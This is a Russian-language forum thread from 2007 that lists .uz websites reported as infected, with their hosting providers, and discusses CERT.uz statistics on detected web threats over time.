Список на сегодняшний день (Обнаруженных заражений: 28):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
anime.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Сайт недоступен
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
beksoft.uz - Сайт недоступен
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
gamma-elektro.uz - Сайт недоступен
gosts.uz - Хостинг: BillurNET (US)
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
mart.uz - Хостинг: ISP "Ars-Inform" (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
nature.uz - Хостинг: UZSCINET (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
riso.uz - Хостинг: DINET-GLOBAL (RU)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
shosh.uz - Сайт недоступен
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
warez.uz - Сайт недоступен
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 17
Размещенных зарубежом: 11

В графическом бы виде еще посмотреть сводную статистику, чтобы понять тенденции

Eldar Ishimbaev
07.12.2007, 16:01
В графическом бы виде еще посмотреть сводную статистику, чтобы понять тенденции
Пока только эти:

Найденные угрозы на веб-сайтах в зоне .UZ по месяцам
http://cert.uz/graph_stat/ugroz_monthstat.php

Найденные угрозы на веб-сайтах в зоне .UZ по дням
http://cert.uz/graph_stat/ugroz_daystat.php

Будем думать, как вывести тенденции роста и падения

Djalolatdin Rakhimov
07.12.2007, 17:20
В графическом бы виде еще посмотреть сводную статистику, чтобы понять тенденции
Пока только эти:

Найденные угрозы на веб-сайтах в зоне .UZ по месяцам
http://cert.uz/graph_stat/ugroz_monthstat.php

Найденные угрозы на веб-сайтах в зоне .UZ по дням


А доля по отношению к просканированным?
А сколько просканированных?
А сколько исправленных от заражений?